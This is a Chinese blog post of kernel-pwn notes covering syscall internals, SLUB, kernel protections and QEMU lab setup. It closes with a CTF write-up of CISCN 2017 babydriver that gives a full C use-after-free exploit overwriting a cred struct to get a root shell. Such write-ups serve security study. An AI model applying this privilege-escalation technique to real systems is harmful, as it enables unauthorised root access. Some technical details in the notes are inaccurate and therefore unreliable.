LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

kernel pwn

基本知识

在进行Kernel Pwn的时候主要使用到的是Qemu,进行gadget的搜索的时候为了加快搜索的速度将Ropgadget替换为ropperropper的安装如果出现安装包(filebytes)的文件名显示为UNKNOWN则可能的原因是setuptools的版本较低导致的,尝试升级setuptools版本之后重新安装。

系统调用

系统调用时Linux内核主要提供的服务之一。用户空间通过调用特殊的系统调用来获取内核提供的一些功能,例如read,write进行输入和输出。系统调用主要依靠系统调用表来实现,系统调用表的初始化这里不多说,具体参考linux-insides,但是需要注意的是32位和64位的系统调用表并不相同。系统调用的大致流程如下:

  1. 用户空间的进程进行系统调用,将所需要的参数填充到相应的寄存器中(系统调用号rax和相关的参数)

    • 32位通过int 0x80进行系统调用,参数的传递顺序为ebx,ecx,edx,esi,edi ,ebp,参数超过六个时,将所有的参数存储在一个连续的内存区域中,ebx中保存指向该内存区域的指针
    • 64位通过syscall来进行系统调用,其参数的传递顺序为rdi,rsi,rdx,r10,r8,r9,参数超过六个时,将所有的参数存储在一个连续的内存区域中,ebx中保存指向该内存区域的指针
  2. 进入内核空间,执行entry_SYSCALL_64,执行swags指令,替换gs寄存器,保存当前栈并设置内核栈,保存当前的进程指向的上下文,进行函数调用号的检查(32/64指令的检查和正确性的检查),按照系统调用表中存储的函数指针调用相关的函数。其代码指令如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    ENTRY(entry_SYSCALL_64)
    SWAPGS_UNSAFE_STACK
    GLOBAL(entry_SYSCALL_64_after_swapgs)
    /*保存当前栈,设置内核栈*/
    movq %rsp, PER_CPU_VAR(rsp_scratch)
    movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

    TRACE_IRQS_OFF
    /*进程上下文的保存,形成一个pt_regs结构 */
    /* 这里rax保存的是函数的调用号,rcx保存的是用户空间的返回地址,r11保存的是flags*/
    /* rdi,rsi,rdx,r10,r8,r9保存的是1-6的参数*/
    pushq $__USER_DS /* pt_regs->ss */
    pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
    pushq %r11 /* pt_regs->flags */
    pushq $__USER_CS /* pt_regs->cs */
    pushq %rcx /* pt_regs->ip */
    pushq %rax /* pt_regs->orig_ax */
    pushq %rdi /* pt_regs->di */
    pushq %rsi /* pt_regs->si */
    pushq %rdx /* pt_regs->dx */
    pushq %rcx /* pt_regs->cx */
    pushq $-ENOSYS /* pt_regs->ax */
    pushq %r8 /* pt_regs->r8 */
    pushq %r9 /* pt_regs->r9 */
    pushq %r10 /* pt_regs->r10 */
    pushq %r11 /* pt_regs->r11 */
    sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */

    movq PER_CPU_VAR(current_task), %r11
    testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11)
    jnz entry_SYSCALL64_slow_path

    entry_SYSCALL_64_fastpath:
    TRACE_IRQS_ON
    ENABLE_INTERRUPTS(CLBR_NONE)
    #if __SYSCALL_MASK == ~0
    cmpq $__NR_syscall_max, %rax
    #else
    andl $__SYSCALL_MASK, %eax
    cmpl $__NR_syscall_max, %eax
    #endif
    ja 1f /* return -ENOSYS (already in pt_regs->ax) */
    movq %r10, %rcx

    call *sys_call_table(, %rax, 8)
  3. 通过call *sys_call_table(, %rax, 8)完成系统调用,将进行函数的返回。通过swags指令替换gs寄存器的值,通过sysretq恢复寄存器的数值,并设置用户栈,跳转到用户空间执行。函数返回值存储在rax寄存器中。

SLUB分配器

SLUB是针对SLAB内核对象缓冲区分配器的改进,工作于Linux物理内存页分配系统(伙伴系统)之上,管理特定大小的对象的缓存(内核运行过程中需要大量的数据结构,与用户空间的对管理类似),提高内存的申请和释放效率,减少内存碎片化。

Linux内核利用SLUB分配器建立了13个分配缓冲区(对象管理器)分别针对不同大小的内存申请,每一个缓冲区中都包含若干个内存池(slab,一个或者2^n个连续的物理内存页框为一个slab),每一个内存池中包含大小一致且数目固定的内存单元(object)对外提供服务。每一个对象管理器采用kmem_cache数据结构进行管理,所有的管理器链接形成全局的双向链表slab_cache

权限提升

内核中是有两个内核态的函数用来改变进程的权限

  • int commit_creds(struct cred \*new),为当前进程的权限更改为cred结构体所表示的权限
  • struct cred\* prepare_kernel_cred(struct task_struct\* daemon),根据daemon所表示的权限描述符返回一个cred结构体指针

可以看到commit_creds(prepare_kernel_cred(0))就可以将当前的进程权限更改为ring0级别的权限。两个函数的地址可以通过/proc/kallsyms查看,但是一般情况下需要root权限。

cred结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;

保护机制

除了用户空间的canary,dep,pie,relro的保护机制之外,内核中的保护机制还有

  • kaslr相当于aslr,非默认开启,需要在内核命令行中加入aslr开启
  • smep,管理模式执行保护,当处于内核空间中时禁止执行用户空间的代码
  • smap,管理模式访问保护,当处于内核空间中时禁止访问用户空间的数据
  • mmap_min_addr,禁止程序分配低内存,用来对抗null pointer dereference
  • kallsyms,禁止低权限的用户获取内核中相应符号的地址

环境搭建

真实的漏洞环境下大多采用Vmware双机调试,这里搭建一下CTF中常用到的qemu方式的kernel pwn环境

编译内核

首先下载一下内核的源代码,这里下载的是4.4.20gcc版本5.4,解压完成之后执行

1
make menuconfig

进入图形化的配置界面,这里的功能是生成make需要的config文件。选中kernel hacking->Compile-time checks and compiler options选项下的Compile the kernel with debug infoCompile the kernel with frame pointers,这里一般默认选中。

kernel hacking下的Write protect kernel read-only data structures去掉,以启用软件断点。配置完成之后save-exit

之后安装一些编译需要的库,进行编译,-jnn表示的是同时执行的指令的数量,可以根据自己的虚拟机的核心数做修改

1
2
3
4
apt-get install libncurses5-dev build-essential kernel-package
make -j8
make modules_install #安装内核模块
make install #安装内核

在安装完成之后就可以在源码目录下找到静态编译的未压缩的内核文件vmlinux,在arch/x86_64/boot目录下找到经过gzip压缩的内核文件bzImage

编译busybox

启动Linux除了内核之外还需要一些必要的命令和文件系统。busybox集成了一百多个常用的Linux命令和工具,可以使用busybox来进行构建。首先下载最新的busybox源码,这里下载的是1.31.1

在进行编译选项设置的时候将setting->build static binary选中,进行静态编译。

1
2
make menuconfig
make install

编译完成之后在busybox的源码目录会出现_install文件夹存储编译完成之后的文件。对文件进行一定的配置,并创建/etc/init.d/rcS作为Linux的启动脚本。

1
2
3
4
5
6
7
8
9
10
11
12
mkdir -p /proc
mkdir -p /tmp
mkdir -p /sys
mkdir -p /mnt
mount -a
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
mkdir /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev > /proc/sys/kernel/hotplug
/sbin/mdev -s

这里的mdevbusybox自带的简化版的udev,作用是在系统启动,热插拔或者加载动态驱动的时候自动产生驱动程序所需要的节点文件(/dev目录下)。mount -a是按照fstab文件进行挂载系统,创建etc/fstab

1
2
3
tmpfs /tmp tmpfs defaults 0 0
proc /proc proc defaults 0 0
sysfs /sys sysfs defaults 0 0

创建etc/inittab,文件存储Linux在特定情况下执行的命令

1
2
3
4
::sysinit:/etc/init.d/rcS
::respawn:-/bin/sh
::ctrlaltdel:/bin/reboot
::shutdown:/bin/umount -a -r

由于Linux启动需要/dev目录下面的console,null设备文件,因此我们创建这两个文件,主次设备号与主机一致,通过ls -l查看

image-20200428174104797

1
2
sudo mknod ./dev/console c 5 1
sudo mknod ./dev/null c 1 3

完成之后再_install文件夹下生成文件系统

1
find . | cpio -o --format=newc > ../../rootfs.img

之后就可以使用qemu启动Linux

1
qemu-system-x86_64 -kernel ./sourceCode/linux-4.4.20/arch/x86_64/boot/bzImage -initrd ./rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -monitor /dev/null -cpu kvm64,+smep --nographic -gdb tcp::1234

编写驱动程序

编译驱动程序的Makefile如下

1
2
3
4
5
6
7
8
9
10
11
12
obj-m := vul.o
KERNELDIR := /home/pwn/Desktop/windowsDisk/kernel/sourceCode/linux-4.4.20
PWD := $(shell pwd)
OUTPUT := $(obj-m) $(obj-m:.o=.ko) $(obj-m:.o=.mod.o) $(obj-m:.o=.mod.c) modules.order Module.symvers

modules:
$(MAKE) -C $(KERNELDIR) M=$(PWD) modules
gcc -static exploit.c -o exploit

clean:
$(MAKE) -C $(KERNELDIR) M=$(PWD) clean
rm -rf $(OUTPUT)

exploit.c是漏洞利用代码,其中的KERNELDIR指向Linux的源码位置,obj-m表示的是当前的vul.o作为模块编译,M=$(Pwd)则表示在当前目录生成相关文件,将.ko文件拷贝到_install文件夹下面,重新生成文件系统,即可以在qemu中加载模块。为了方便启动qemu,将相关命令写入start.sh

1
2
3
4
5
6
7
8
9
10
11
12
current_dir=$(pwd)
make clean
sleep 0.5
make
sleep 0.5
rm ./busybox-1.31.1/_install/{*.ko,test}
cp exploit *.ko ./busybox-1.31.1/_install/
cd ./busybox-1.31.1/_install/
rm ../../rootfs.img
find . | cpio -o --format=newc > ../../rootfs.img
cd $current_dir
qemu-system-x86_64 -kernel ./sourceCode/linux-4.4.20/arch/x86_64/boot/bzImage -initrd ./rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -monitor /dev/null -cpu kvm64,+smep --nographic -gdb tcp::1234

GDB调试

-gdb tcp:1234即开启了远程gdb调试,端口是1234,也可以用-s代替。启动gdb之后

1
2
3
file vmlinux
set architecture i386:x86-64:intel
target remote localhost:1234

即加载内核符号,开启远程调试。在qemu中可以查看当前模块的加载基址,

1
cat /proc/modules | grep vul

并在gdb中加载相应的符号

1
add-symbol-file vul.ko 0xffffffc0000000

UAF

ciscn 2017 babydriver

漏洞文件的获取

首先题目给出了三个文件,分别是boot.sh,bzImage,rootfs.cipo。其中boot.sh是启动kerne的脚本,bzImage是内核文件的映像,rootfs.cipo则是根文件的映像。我们看一下这个脚本

图片无法显示,请设置GitHub代理

-initrd指定在内核启动的时候会首先进行加载的文件系统(initial ram disk),-kernel指定了内核镜像。initrd,kernel两个选项可以使得qemu直接对指定的kernel,ramdisk进行加载。-append是进行了额外的选项配置(这里将发生了oops时指定运行panicoops可以看成是内核级别的segmentation Faultpanic相当于用户空间的abort),-enable-kvm则是启用了kvm加速,smp配置了客户机的SMP系统(单cpu单核心单线程),cpu设置了CPU模型。

在拿到这三个文件的时候我们首先确定存在漏洞的文件,首先对rootfs.cipo进行解包

1
2
3
4
5
mkdir core
mv rootfs.cpio ./core/rootfs.cpio.gz
cd core
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio

解包之后得到相应的文件

图片无法显示,请设置GitHub代理

我们看一下init文件

图片无法显示,请设置GitHub代理

我们可以看到在第12行加载了驱动,一般情况下这个驱动就是存在漏洞的程序。

分析

我们将该驱动取出,查看一下开启的保护,并用ida分析该程序

图片无法显示,请设置GitHub代理

我们可以明显的看到驱动加载时的babydriver_init和退出时的babydriver_exit函数,我们先看一下init函数

图片无法显示,请设置GitHub代理

函数首先为程序分配了一个驱动号为babydev,分配成功之后调用cdev_init创建了相应的cdev结构体,cdev结构体中最重要的成员变量就是const struct file_operations \*ops,其实现了与硬件进行通信的具体的操作。结构体中实现了的函数就会静态初始化上函数地址,未实现的函数值为NULL。这里实现了ioctl,open,release,read,write函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

struct file_operations {

struct module *owner;//拥有该结构的模块的指针,一般为THIS_MODULES,用来阻止模块在使用是被卸载

loff_t (*llseek) (struct file *, loff_t, int);//用来修改文件当前的读写位置

ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);//从设备中同步读取数据

ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);//向设备发送数据

ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);//初始化一个异步的读取操作

ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);//初始化一个异步的写入操作

int (*readdir) (struct file *, void *, filldir_t);//仅用于读取目录,对于设备文件,该字段为NULL

unsigned int (*poll) (struct file *, struct poll_table_struct *); //轮询函数,判断目前是否可以进行非阻塞的读写或写入

int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long); //执行设备I/O控制命令

long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); //不使用BLK文件系统,将使用此种函数指针代替ioctl

long (*compat_ioctl) (struct file *, unsigned int, unsigned long); //在64位系统上,32位的ioctl调用将使用此函数指针代替


int (*mmap) (struct file *, struct vm_area_struct *); //用于请求将设备内存映射到进程地址空间

int (*open) (struct inode *, struct file *); //打开

int (*flush) (struct file *, fl_owner_t id);

int (*release) (struct inode *, struct file *); //关闭

int (*fsync) (struct file *, struct dentry *, int datasync); //刷新待处理的数据

int (*aio_fsync) (struct kiocb *, int datasync); //异步刷新待处理的数据

int (*fasync) (int, struct file *, int); //通知设备FASYNC标志发生变化

int (*lock) (struct file *, int, struct file_lock *);

ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);

unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);

int (*check_flags)(int);

int (*flock) (struct file *, int, struct file_lock *);

ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);

ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);

int (*setlease)(struct file *, long, struct file_lock **);

};

对应的函数可以在fops结构体中查看

image-20200421203850093

每一个cdev结构体对应了一个字符设备,初始化完结构体之后为该设备注册并创建了相应的class,最终创建了相应的device。这里我们只需要关注其设备驱动号为babydev就可以了。

exit函数只是注销掉了所有的相关的设备和类。下面我们先看一下ioctl函数

图片无法显示,请设置GitHub代理

ioctl函数的第一个参数是打开文件的文件描述符,第二个参数是用户程序对设备的控制命令。这里我们到当命令为0x10001的时候,函数会首先释放device_buf,然后根据用户的输入(rdx是第三个参数)重新申请一个buf,并更新buf_len

图片无法显示,请设置GitHub代理

babydev_struct中只有两个成员变量,表示申请的缓冲区指针和缓冲区的大小。注意到这里的babydev_struct存储在bss段中是一个全局变量。

图片无法显示,请设置GitHub代理

open函数则是申请了一块0x40大小的缓冲区,并更新了babydev_struct结构体。

图片无法显示,请设置raw.githubusercontent.com代理

realease函数则释放了device_buf指向的缓冲区,需要注意的是这里并没有将指针置为NULL

图片无法显示,请清空DNS缓存或设置raw.githubusercontent.com代理

read函数首先判断缓冲区是否为空,否则就将device_buf缓冲区中长度大小为length的数据拷贝到用户指定的buffer数组中。这里需要注意的是系统调用均是通过寄存区传递参数的。

图片无法显示,请清空DNS缓存或设置raw.githubusercontent.com代理

write函数则是将用户指定的buffer数组中长度为length的数据拷贝到device_buf缓冲区中。

漏洞利用

由于驱动程序的特性,我们可以重复的打开babydev这个驱动。但是我们注意到babydev_struct是全局变量,也就是所有的babydev的对象共用同一个babydev_struct,且在release的时候device_buf没有进行清空操作,因此存在UAF漏洞。

我们可以首先打开两次babydev驱动fd1, fd2此时的全局变量指向fd2中的结构体,那么此时对fd1调用ioctldevice_buf分配为cred结构体一样大。此时释放fd1,再fork一个新的进程,那么新进程的cred结构体就会指向之前释放的device_buf,利用fd2更改cred结构体,提升权限。

EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0xa8);
close(fd1);
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}

else if(pid == 0)
{
char zeros[30] = {0};
write(fd2, zeros, 28);

if(getuid() == 0)
{
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);
return 0;
}

运行exp的方法就是

1
2
3
4
5
6
7
8
9
10
//静态编译exploit
gcc exploit.c -static -o exploit
//移动到解压后的目录下重新打包
mv exploit core/tmp
cd core
find . | cpio -o -format=newc > rootfs.cpio
mv rootfs.cpio ../
//重新运行boot.sh
bash boot.sh
//在qemu中运行exploit

最终获取权限

image-20200421204448725

ROP

强网杯 core

参考

Basics

Kernel-UAF

Linux 内核剖析

linux-insides

linux kernel pwn notes